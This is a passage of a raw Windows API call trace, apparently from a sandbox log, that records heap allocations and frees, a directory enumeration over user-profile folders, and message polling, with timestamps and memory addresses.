dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0266.159] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab8b0 [0266.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0266.159] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0266.159] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0266.159] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077098 | out: hHeap=0x640000) returned 1 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab760 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x498) returned 0x712110 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077098 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e68 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077070 [0266.159] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077048 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077020 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076ff8 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fd0 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076fa8 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076f80 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d50 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076d00 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076df0 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e40 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077340 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077368 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077390 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773b8 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30773e0 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077408 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077430 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077458 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3077480 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x30774a8 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081840 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab8e8 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab920 [0266.160] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab958 [0266.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076d28 | out: hHeap=0x640000) returned 1 [0266.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cd8 | out: hHeap=0x640000) returned 1 [0266.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076da0 | out: hHeap=0x640000) returned 1 [0266.160] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30770c0 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30770e8 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077110 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077138 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077160 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077188 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30771b0 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30771d8 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077200 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077228 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077250 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077278 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772a0 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772c8 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30772f0 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3077318 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f30 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e90 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076f58 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30818d0 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab878 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab8b0 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3078220 | out: hHeap=0x640000) returned 1 [0266.161] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab8b0 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab760 | out: hHeap=0x640000) returned 1 [0266.161] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0266.162] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 0 [0266.162] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.162] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.162] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.162] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.163] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.163] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.164] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x702c48 [0266.164] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x702c48 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab808 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f118 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x309f0f0 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081720 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7175a0 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c10 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab798 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab7d0 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c38 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c60 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081690 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076c88 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076cb0 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7029f0 | out: hHeap=0x640000) returned 1 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71ce58 | out: hHeap=0x640000) returned 1 [0266.164] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7029f0 [0266.164] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0266.164] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.164] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.164] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.165] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.165] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.166] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.166] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.167] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.167] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0266.168] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x7026f8 | out: hHeap=0x640000) returned 1 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x7026f8 [0266.168] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0266.168] HeapFree (in: hHeap=0x640000, 